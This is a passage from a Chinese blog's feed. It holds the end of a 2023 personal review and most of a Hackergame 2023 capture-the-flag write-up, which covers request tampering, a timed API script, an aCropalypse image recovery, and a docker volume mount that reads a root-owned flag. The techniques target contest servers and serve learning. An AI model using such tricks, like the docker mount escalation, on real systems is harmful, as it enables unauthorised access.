id="YubiKey">YubiKey</h3><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/yubikey.jpg" alt="yubikey"></p><p>收到了 <span class="exturl" data-url="aHR0cHM6Ly9ibG9nLmNsb3VkZmxhcmUuY29tL21ha2luZy1waGlzaGluZy1kZWZlbnNlLXNlYW1sZXNzLWNsb3VkZmxhcmUteXViaWNv">Cloudflare Yubikey 打折活动<i class="fa fa-external-link-alt"></i></span>时与群友拼车购买的 YubiKey。谢谢 @Edison，帮助我从韩国低价转运 YubiKey，还送了小零食和明信片，爱了。</p><p>今年我更换了新的 PGP 密钥，并开始使用 YubiKey，在这一年里，我使用 YubiKey 创建了多达 578 个 PGP 签名。今年和 @baiyuanneko 互签了 sig3。</p><h3 id="Hacktoberfest-2022">Hacktoberfest 2022</h3><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/sticker-hacktoberfest.jpg" alt="sticker-hacktoberfest"></p><p>收到了 <span class="exturl" data-url="aHR0cHM6Ly9oYWNrdG9iZXJmZXN0LmNvbS8=">Hacktoberfest 2022<i class="fa fa-external-link-alt"></i></span> 赠送的 T 恤和贴纸。虽然今年的活动不送实体奖品了，但我仍然参加了。</p><h3 id="CMU-问卷">CMU 问卷</h3><p>有一天邮箱里多了个 CMU 发的问卷，看着不像钓鱼就填了，然后 win 了 1 of 4 $100 Amazon gift cards，也许是全年唯一的 lucky moment？总之谢谢 CMU 了。我把它用在买 SAMSUNG 980 PRO 2TB 上了，这下<a href="/2022/my-2022/#%E6%96%B0%E7%9A%84%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E8%84%91">笔记本的最后一片</a>也完整了，原来的旧硬盘给<a href="/2023/build-my-homelab/">我的 HomeLab</a> 用了。</p><h3 id="baiyuanneko-的礼物">@baiyuanneko 的礼物</h3><p>是我平时不舍得买的一些二次元周边，但是收到会很开心，谢谢 @baiyuanneko。</p><h3 id="novule-的礼物">@novule 的礼物</h3><p>同笔记本型号 Linux 用户，帮忙买了个编程器提取了个 BIOS 救砖，收到了 ¥100 的京东卡，谢谢你在这个机器的使用（折腾）上带领着我。</p><h2 id="ACGN">ACGN</h2><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/anime-tier-list.png" alt="anime-tier-list"></p><p>今年看了很多番，就不一一点评了，使用 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2Fpc3VuZWtvL0FuaW1lVGllckxpc3Q=">aisuneko/AnimeTierList<i class="fa fa-external-link-alt"></i></span> 生成了一张我的评分等级图，谢谢 @aisuneko。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/syncplay.jpg" alt="syncplay"></p><p>今年开始尝试与香子兰群友使用 <span class="exturl" data-url="aHR0cHM6Ly9zeW5jcGxheS5wbA==">syncplay<i class="fa fa-external-link-alt"></i></span> 同步看番，谢谢 @baiyuanneko 和 @scientificworld，很喜欢实时聊天。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/minecraft-1.png" alt="minecraft-1"><br><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/minecraft-2.png" alt="minecraft-2"></p><p>对不起香子兰群友，我要退游了。感觉 Minecraft 越来越没意思，玩来玩去也就那么些玩法，对它的热情也慢慢消退了。最后再玩一天，今年就不玩了。</p><p>其它今年玩过的游戏有</p><ul><li>ふゆから、くるる。 7/10</li><li>天使 ☆ 騒々 RE-BOOT! 8/10</li><li>Cyberpunk 2077 8/10</li></ul><p>因为 Twitter 不给继续免费用 API，插画收藏受的影响比较大，没有做统计数据。</p><h2 id="未来计划">未来计划</h2><p>想润日本，金币不多，专业课成绩不是很好，还没有决定继续 EE 还是转 CS，希望得到有经验的读者的指导。润其它地方也可以，就是没什么信心。</p><hr><p>谢谢你读到这里，祝你新年快乐，明年见。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2023 总结&lt;/p&gt;</summary>
    
    
    
    <category term="摸鱼" scheme="https://blog.apeiria.net/categories/%E6%91%B8%E9%B1%BC/"/>
    
    
    <category term="Personal" scheme="https://blog.apeiria.net/tags/Personal/"/>
    
    <category term="Summary" scheme="https://blog.apeiria.net/tags/Summary/"/>
    
  </entry>
  
  <entry>
    <title>Hackergame 2023 WriteUp</title>
    <link href="https://blog.apeiria.net/2023/hackergame-2023-writeup/"/>
    <id>https://blog.apeiria.net/2023/hackergame-2023-writeup/</id>
    <published>2023-11-04T04:00:00.000Z</published>
    <updated>2023-11-04T04:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>Hackergame，启动！</p><span id="more"></span><h2 id="Hackergame-启动">Hackergame 启动</h2><p>打开题目看逻辑觉得是用声音环回 <s>（我做过一个机器评分的英语口语作业就是这样做的）</s> ，但是相似度只有 76.27%。看了代码发现相似度是根据波型图计算的。直接提交，发现地址栏中多了一个参数<code>?similarity=76.27167352376027</code>，修改为 100 后启动 Hackergame 2023。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2023-writeup/hackergame-start.png" alt="hackergame-start"></p><ul><li><code>flag&#123;WElcomE-t0-HAcKErG4M3-And-ENJOY-h@ck!Ng-Z0z3&#125;</code></li></ul><h2 id="猫咪小测">猫咪小测</h2><h3 id="1-想要借阅世界图书出版公司出版的《A-Classical-Introduction-To-Modern-Number-Theory-2nd-ed-》，应当前往中国科学技术大学西区图书馆的哪一层？">1. 想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》，应当前往中国科学技术大学西区图书馆的哪一层？</h3><p><span class="exturl" data-url="aHR0cHM6Ly9saWIudXN0Yy5lZHUuY24vJWU2JTljJWFjJWU5JWE2JTg2JWU2JWE2JTgyJWU1JTg2JWI1LyVlOSVhNiU4NiVlOCU5NyU4ZiVlNSU4OCU4NiVlNSViOCU4My8=">馆藏分布 - 中国科学技术大学图书馆<i class="fa fa-external-link-alt"></i></span>，外文书库在 <code>12</code> 层。</p><h3 id="2-今年-arXiv-网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文，请问论文中作者计算出的鸡密度函数的上限为-10-的多少次方每立方秒差距？（30-分）">2. 今年 arXiv 网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文，请问论文中作者计算出的鸡密度函数的上限为 10 的多少次方每立方秒差距？（30 分）</h3><p><span class="exturl" data-url="aHR0cHM6Ly9hcnhpdi5vcmcvYWJzLzIzMDMuMTc2MjY=">Nuggets of Wisdom: Determining an Upper Limit on the Number Density of Chickens in the Universe<i class="fa fa-external-link-alt"></i></span>，<code>23</code> 次方。</p><h3 id="3-为了支持-TCP-BBR-拥塞控制算法，在编译-Linux-内核时应该配置好哪一条内核选项？">3. 为了支持 TCP BBR 拥塞控制算法，在编译 Linux 内核时应该配置好哪一条内核选项？</h3><p><code>CONFIG_TCP_CONG_BBR</code></p><h3 id="4-🥒🥒🥒：「我……从没觉得写类型标注有意思过」。在一篇论文中，作者给出了能够让-Python-的类型检查器-MyPY-mypy-陷入死循环的代码，并证明-Python-的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上？（20-分）">4. 🥒🥒🥒：「我……从没觉得写类型标注有意思过」。在一篇论文中，作者给出了能够让 Python 的类型检查器 MyPY mypy 陷入死循环的代码，并证明 Python 的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上？（20 分）</h3><p><code>ECOOP</code>，没搜到，爆破的。</p><ul><li><code>flag&#123;W3lcoMe-70-At7ENd-THe-NeK0-Ex@m-ZoZ3&#125;</code></li><li><code>flag&#123;R34L-m457er-Of-7he-nEK0-eXAM-1n-US7c&#125;</code></li></ul><h2 id="更深更暗">更深更暗</h2><p>直接看代码，找到：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">getFlag</span>(<span class="params">token</span>) &#123;</span><br><span class="line">  <span class="comment">// Generate the flag based on user&#x27;s token</span></span><br><span class="line">  <span class="keyword">let</span> hash = <span class="title class_">CryptoJS</span>.<span class="title class_">SHA256</span>(<span class="string">`dEEper_@nd_d@rKer_<span class="subst">$&#123;token&#125;</span>`</span>).<span class="title function_">toString</span>();</span><br><span class="line">  <span class="keyword">return</span> <span class="string">`flag&#123;T1t@n_<span class="subst">$&#123;hash.slice(<span class="number">0</span>, <span class="number">32</span>)&#125;</span>&#125;`</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="旅行照片-3-0">旅行照片 3.0</h2><h3 id="1、你还记得与学长见面这天是哪一天吗？（格式：yyyy-mm-dd）">1、你还记得与学长见面这天是哪一天吗？（格式：yyyy-mm-dd）</h3><p>中午的图 1 中左下的学长戴着 <span class="exturl" data-url="aHR0cHM6Ly9zdGF0cGh5czI4Lm9yZy8=">STATPHYS28<i class="fa fa-external-link-alt"></i></span>，尝试 2023-08-07 ~ 2023-08-11</p><p><code>2023-08-10</code></p><h3 id="2、在学校该展厅展示的所有同种金色奖牌的得主中，出生最晚者获奖时所在的研究所缩写是什么？">2、在学校该展厅展示的所有同种金色奖牌的得主中，出生最晚者获奖时所在的研究所缩写是什么？</h3><p><span class="exturl" data-url="aHR0cHM6Ly9qYS53aWtpcGVkaWEub3JnL3dpa2kvJUU2JTk3JUE1JUU2JTlDJUFDJUU0JUJBJUJBJUUzJTgxJUFFJUUzJTgzJThFJUUzJTgzJUJDJUUzJTgzJTk5JUUzJTgzJUFCJUU4JUIzJTlFJUU1JThGJTk3JUU4JUIzJTlFJUU4JTgwJTg1">日本人のノーベル賞受賞者<i class="fa fa-external-link-alt"></i></span></p><p>与小柴昌俊（M. KOSHIBA）同展厅、东京大学</p><p><span class="exturl" data-url="aHR0cHM6Ly93d3cuaWNyci51LXRva3lvLmFjLmpwL3Byd3BzL2NvbW1lbW9yYXRpdmUvbm9iZWwvZGVzY3JpcHRpb24uaHRtbA==">梶田隆章<i class="fa fa-external-link-alt"></i></span></p><p><code>ICRR</code></p><h3 id="3、帐篷中活动招募志愿者时用于收集报名信息的在线问卷的编号（以字母-S-开头后接数字）是多少？">3、帐篷中活动招募志愿者时用于收集报名信息的在线问卷的编号（以字母 S 开头后接数字）是多少？</h3><p>题目指出博物馆对面有喷泉，在地图上查找后：東京国立博物館、上野公園大噴水</p><p>搜索 <code>上野公園 2023-08-10 ボランティア</code>，找到<span class="exturl" data-url="aHR0cHM6Ly91bWVzaHUtbWF0c3VyaS5qcC90b2t5b19zdGFmZi8=">全国梅酒まつり in 東京 2023<i class="fa fa-external-link-alt"></i></span></p><p><code>S495584522</code></p><h3 id="4、学长购买自己的博物馆门票时，花费了多少日元？">4、学长购买自己的博物馆门票时，花费了多少日元？</h3><p><span class="exturl" data-url="aHR0cHM6Ly93d3cudG5tLmpwL21vZHVsZXMvcl9mcmVlX3BhZ2UvaW5kZXgucGhwP2lkPTExMyN0aWNrZXQ=">料金・チケットのご案内<i class="fa fa-external-link-alt"></i></span>写的是 500，尝试后发现不对</p><p><code>0</code></p><h3 id="5、学长当天晚上需要在哪栋标志性建筑物的附近集合呢？（请用简体中文回答，四个汉字）">5、学长当天晚上需要在哪栋标志性建筑物的附近集合呢？（请用简体中文回答，四个汉字）</h3><p>不知道，只找到可能是对应游船的<span class="exturl" data-url="aHR0cHM6Ly93d3cuc3Vpam9idXMuY28uanAvY3J1aXNlLw==">運航案内<i class="fa fa-external-link-alt"></i></span>。</p><h3 id="6、进站时，你在-JR-上野站中央检票口外看到「ボタン＆カフリンクス」活动正在销售动物周边商品，该活动张贴的粉色背景海报上是什么动物（记作-A，两个汉字）？-在出站处附近建筑的屋顶广告牌上，每小时都会顽皮出现的那只-3D-动物是什么品种？（记作-B，三个汉字）？（格式：A-B）">6、进站时，你在 JR 上野站中央检票口外看到「ボタン＆カフリンクス」活动正在销售动物周边商品，该活动张贴的粉色背景海报上是什么动物（记作 A，两个汉字）？ 在出站处附近建筑的屋顶广告牌上，每小时都会顽皮出现的那只 3D 动物是什么品种？（记作 B，三个汉字）？（格式：A-B）</h3><p>搜索ボタン＆カフリンクス 上野駅，找到<span class="exturl" data-url="aHR0cHM6Ly9wbGF6YS5yYWt1dGVuLmNvLmpwL2F5dW1pbGlmZS9kaWFyeS8yMDIzMDgwNzAwMDAv">上野駅の会場の様子<i class="fa fa-external-link-alt"></i></span>，<code>熊猫</code>；</p><p>识别马里奥世界照片，结果是 Nintendo TOKYO Official Store，推断在渋谷駅出站。搜索渋谷駅 3D，找到<span class="exturl" data-url="aHR0cHM6Ly93d3cubW9ndXJhdnIuY29tL3NoaWJ1eWEtYWtpdGFpbnUtM2Qv">渋谷駅近くのビルで超巨大な秋田犬が遊び回っている……！？ 巨大 3D ビジョンに注目<i class="fa fa-external-link-alt"></i></span>，<code>秋田犬</code>。</p><ul><li><code>flag&#123;how_I_wi5h_i_COulD_w1N_A_Nobe1_pri23_76081fe0cf&#125;</code></li><li><code>flag&#123;PluM_w1NE_1S_rEa1LY_EXpen5iVE_c403ec700c&#125;</code></li><li>第三问没对</li></ul><h2 id="赛博井字棋">赛博井字棋</h2><p>使用截断代理，先下连成线的两步，在第三步请求发送前截断请求，修改坐标为对手已下过的位置，且使得你能连成一线。</p><ul><li><code>flag&#123;I_can_eat_your_pieces_19e0b10842&#125;</code></li></ul><h2 id="奶奶的睡前-flag-故事">奶奶的睡前 flag 故事</h2><p>因为之前读到过有关漏洞的新闻，结合题目的描述，知道是 <span class="exturl" data-url="aHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvQUNyb3BhbHlwc2U=">aCropalypse<i class="fa fa-external-link-alt"></i></span> 漏洞。一开始使用 <span class="exturl" data-url="aHR0cHM6Ly9hY3JvcGFseXBzZS5hcHAv">acropalypse.app<i class="fa fa-external-link-alt"></i></span> 但是可能是我打开方式不对没成功。使用 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2ZyYW5rdGhldGFuay1tdXNpYy9BY3JvcGFseXBzZS1NdWx0aS1Ub29s">frankthetank-music/Acropalypse-Multi-Tool<i class="fa fa-external-link-alt"></i></span> 成功解出 flag。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2023-writeup/grandma-flag.png" alt="grandma-flag"></p><ul><li><code>flag&#123;sh1nj1ru_k0k0r0_4nata-m4h0&#125;</code></li></ul><h2 id="组委会模拟器">组委会模拟器</h2><p>通过 js 看出几个 api 的调用方法，通过抓包分析了似乎只需要判断 <code>hack[</code>，为了避免时间漂移用了 <code>threading.Timer</code>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"></span><br><span class="line">host = <span class="string">&quot;http://202.38.93.111:10021&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getMessages</span>(<span class="params">session</span>):</span><br><span class="line">    messages = session.post(host + <span class="string">&quot;/api/getMessages&quot;</span>)</span><br><span class="line">    messages = messages.json()</span><br><span class="line">    <span class="keyword">return</span> messages</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">deleteMessage</span>(<span class="params">session, <span class="built_in">id</span></span>):</span><br><span class="line">    response = session.post(host + <span class="string">&quot;/api/deleteMessage&quot;</span>, json=&#123;<span class="string">&quot;id&quot;</span>: <span class="built_in">id</span>&#125;)</span><br><span class="line">    <span class="built_in">print</span>(response.json())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getFlag</span>(<span class="params">session</span>):</span><br><span class="line">    response = session.post(host + <span class="string">&quot;/api/getflag&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(response.json())</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> requests.Session() <span class="keyword">as</span> session:</span><br><span class="line">    session.cookies.<span class="built_in">set</span>(</span><br><span class="line">        <span class="string">&quot;session&quot;</span>,</span><br><span class="line">        <span class="string">&quot;&lt;fill your cookie here&gt;&quot;</span>,</span><br><span class="line">    )</span><br><span class="line">    messages = getMessages(session)</span><br><span class="line">    deleteList = []</span><br><span class="line">    <span class="keyword">for</span> i, m <span class="keyword">in</span> <span class="built_in">enumerate</span>(messages[<span class="string">&quot;messages&quot;</span>]):</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;hack[&quot;</span> <span class="keyword">in</span> m[<span class="string">&quot;text&quot;</span>]:</span><br><span class="line">            <span class="built_in">print</span>(i, m[<span class="string">&quot;text&quot;</span>], m[<span class="string">&quot;delay&quot;</span>])</span><br><span class="line">            deleteList.append(&#123;<span class="string">&quot;id&quot;</span>: i, <span class="string">&quot;delay&quot;</span>: m[<span class="string">&quot;delay&quot;</span>]&#125;)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> deleteList:</span><br><span class="line">        timer = threading.Timer(i[<span class="string">&quot;delay&quot;</span>], deleteMessage, args=(session, i[<span class="string">&quot;id&quot;</span>]))</span><br><span class="line">        timer.start()</span><br><span class="line">    timer.join()</span><br><span class="line">    getFlag(session)</span><br></pre></td></tr></table></figure><ul><li><code>flag&#123;Web_pr0gra_mm1ng_9c917fb7f6_15fun&#125;</code></li></ul><h2 id="虫">虫</h2><p>一听就是 SSTV <s>（玩无线电玩的）</s> ，直接解码。<span class="exturl" data-url="aHR0cHM6Ly93d3cuc2lnaWR3aWtpLmNvbS93aWtpL1NpZ25hbF9JZGVudGlmaWNhdGlvbl9HdWlkZQ==">Signal Identification Guide<i class="fa fa-external-link-alt"></i></span></p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2023-writeup/sstv.png" alt="sstv"></p><ul><li><code>flag&#123;SSssTV_y0u_W4NNa_HaV3-4_trY&#125;</code></li></ul><h2 id="JSON-⊂-YAML">JSON ⊂ YAML?</h2><p><code>&#123;&quot;a&quot;: NaN, &quot;a&quot;: NaN&#125;</code> 可以同时拿下两个 flag。</p><ul><li><code>flag&#123;faf9facd7c9d64f74a4a746468400a507ce3e2652b&#125;</code></li><li><code>flag&#123;b1c73f14d04db546b7e7e24cf1cc72521a136c3e6b&#125;</code></li></ul><p>btw 相比于 json 我更喜欢 yaml</p><h2 id="Git-Git">Git? Git!</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$ git reflog</span><br><span class="line">ea49f0c (HEAD -&gt; main) HEAD@&#123;0&#125;: commit: Trim trailing spaces</span><br><span class="line">15fd0a1 (origin/main, origin/HEAD) HEAD@&#123;1&#125;: reset: moving to HEAD~</span><br><span class="line">505e1a3 HEAD@&#123;2&#125;: commit: Trim trailing spaces</span><br><span class="line">15fd0a1 (origin/main, origin/HEAD) HEAD@&#123;3&#125;: <span class="built_in">clone</span>: from https://github.com/dair-ai/ML-Course-Notes.git</span><br><span class="line">$ git checkout --force 505e1a3</span><br><span class="line">HEAD is now at 505e1a3 Trim trailing spaces</span><br><span class="line">$ grep -R flag .</span><br><span class="line">./.git/hooks/fsmonitor-watchman.sample:<span class="comment"># return the fast &quot;everything is dirty&quot; flag to git and do the</span></span><br><span class="line">./README.md:  &lt;!-- flag&#123;TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t&#125; --&gt;</span><br></pre></td></tr></table></figure><ul><li><code>flag&#123;TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t&#125;</code></li></ul><h2 id="HTTP-集邮册">HTTP 集邮册</h2><p>只收集到了 10 个状态码：[100, 200, 206, 304, 400, 404, 405, 414, 416, 505]</p><p>无状态码把首行改成<code>GET /\r\n</code>。</p><ul><li><code>flag&#123;stacking_up_http_status_codes_is_fun_97ad87477e&#125;</code></li><li><code>flag&#123;great backward compatibility of nginx, R1ght?&#125;</code></li></ul><h2 id="Docker-for-Everyone">Docker for Everyone</h2><p>原来是打算用 <code>--privileged</code> 加挂载写入提权，但是都只读，cron 也没有。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">alpine:~$ <span class="built_in">ls</span> -l /flag</span><br><span class="line">lrwxrwxrwx    1 root     root            13 Oct  8 12:10 /flag -&gt; /dev/shm/flag</span><br><span class="line">alpine:~$ docker run -it --<span class="built_in">rm</span> -v /dev/shm/flag:/flag alpine</span><br><span class="line">/ <span class="comment"># cat /flag</span></span><br><span class="line">flag&#123;u5e_r00t1ess_conta1ner_7d2661333c_plz!&#125;</span><br></pre></td></tr></table></figure><ul><li><code>flag&#123;u5e_r00t1ess_conta1ner_7d2661333c_plz!&#125;</code></li></ul><h2 id="惜字如金-2-0">惜字如金 2.0</h2><p>先把代码手动还原一些，发现只有 <code>code_dict</code> 还原有多种情况，使用 python 代码暴力破解：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"></span><br><span class="line">code_dicts = [</span><br><span class="line">    <span class="string">&quot;nymeh1niwemflcir&#125;echaet&quot;</span>,</span><br><span class="line">    <span class="string">&quot;a3g7&#125;kidgojernoetlsup?h&quot;</span>,</span><br><span class="line">    <span class="string">&quot;ulw!f5soadrhwnrsnstnoeq&quot;</span>,</span><br><span class="line">    <span class="string">&quot;ct&#123;l-findiehaai&#123;oveatas&quot;</span>,</span><br><span class="line">    <span class="string">&quot;ty9kxborszstguyd?!blm-p&quot;</span>,</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">split_string</span>(<span class="params">s: <span class="built_in">str</span></span>) -&gt; <span class="built_in">list</span>[<span class="built_in">str</span>]:</span><br><span class="line">    result = []</span><br><span class="line">    current = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> s:</span><br><span class="line">        <span class="keyword">if</span> c.isalpha():</span><br><span class="line">            current += c</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">if</span> current:</span><br><span class="line">                result.append(current)</span><br><span class="line">                current = <span class="string">&quot;&quot;</span></span><br><span class="line">            result.append(c)</span><br><span class="line">    <span class="keyword">if</span> current:</span><br><span class="line">        result.append(current)</span><br><span class="line">    <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">expand_consonants</span>(<span class="params">s: <span class="built_in">str</span></span>) -&gt; <span class="built_in">list</span>[<span class="built_in">str</span>]:</span><br><span class="line">    vowels = <span class="built_in">set</span>(<span class="string">&quot;aeiou&quot;</span>)</span><br><span class="line">    result = []</span><br><span class="line">    <span class="keyword">for</span> i, c <span class="keyword">in</span> <span class="built_in">enumerate</span>(s):</span><br><span class="line">        <span class="keyword">if</span> c <span class="keyword">not</span> <span class="keyword">in</span> vowels:</span><br><span class="line">            new_s = s[: i + <span class="number">1</span>] + c + s[i + <span class="number">1</span> :]</span><br><span class="line">            result.append(new_s)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> s.endswith(<span class="string">&quot;e&quot;</span>):</span><br><span class="line">        result.append(s + <span class="string">&quot;e&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_alpha</span>(<span class="params">s: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> s:</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> c.isalpha():</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">expand_code_dict</span>(<span class="params">code_dict: <span class="built_in">str</span></span>) -&gt; <span class="built_in">list</span>:</span><br><span class="line">    splits = split_string(code_dict)</span><br><span class="line">    expanded_code_dicts = []</span><br><span class="line">    <span class="keyword">for</span> i, s <span class="keyword">in</span> <span class="built_in">enumerate</span>(splits):</span><br><span class="line">        <span class="keyword">if</span> is_alpha(s):</span><br><span class="line">            <span class="keyword">for</span> expanded <span class="keyword">in</span> expand_consonants(s):</span><br><span class="line">                expanded_code_dicts.append(</span><br><span class="line">                    <span class="string">&quot;&quot;</span>.join(splits[:i] + [expanded] + splits[i + <span class="number">1</span>:])</span><br><span class="line">                )</span><br><span class="line">    <span class="keyword">return</span> expanded_code_dicts</span><br><span class="line"></span><br><span class="line">all_expanded_code_dicts = [expand_code_dict(code_dict) <span class="keyword">for</span> code_dict <span class="keyword">in</span> code_dicts]</span><br><span class="line">iterated_code_dicts = itertools.product(*all_expanded_code_dicts)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_data</span>(<span class="params">input_codes, code_dict</span>):</span><br><span class="line">    output_chars = [code_dict[c] <span class="keyword">for</span> c <span class="keyword">in</span> input_codes]</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;&quot;</span>.join(output_chars)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">iterate_code_dict</span>():</span><br><span class="line">    <span class="keyword">for</span> code_dicts <span class="keyword">in</span> iterated_code_dicts:</span><br><span class="line">        <span class="keyword">yield</span> code_dicts</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> code_dict <span class="keyword">in</span> iterated_code_dicts:</span><br><span class="line">    code_dict = <span class="string">&quot;&quot;</span>.join(code_dict)</span><br><span class="line">    flag = decrypt_data(</span><br><span class="line">        [<span class="number">53</span>, <span class="number">41</span>, <span class="number">85</span>, <span class="number">109</span>, <span class="number">75</span>, <span class="number">1</span>, <span class="number">33</span>, <span class="number">48</span>, <span class="number">77</span>, <span class="number">90</span>,</span><br><span class="line">        <span class="number">17</span>, <span class="number">118</span>, <span class="number">36</span>, <span class="number">25</span>, <span class="number">13</span>, <span class="number">89</span>, <span class="number">90</span>, <span class="number">3</span>, <span class="number">63</span>, <span class="number">25</span>,</span><br><span class="line">        <span class="number">31</span>, <span class="number">77</span>, <span class="number">27</span>, <span class="number">60</span>, <span class="number">3</span>, <span class="number">118</span>, <span class="number">24</span>, <span class="number">62</span>, <span class="number">54</span>, <span class="number">61</span>,</span><br><span class="line">        <span class="number">25</span>, <span class="number">63</span>, <span class="number">77</span>, <span class="number">36</span>, <span class="number">5</span>, <span class="number">32</span>, <span class="number">60</span>, <span class="number">67</span>, <span class="number">113</span>, <span class="number">28</span>],</span><br><span class="line">        code_dict,</span><br><span class="line">    )</span><br><span class="line">    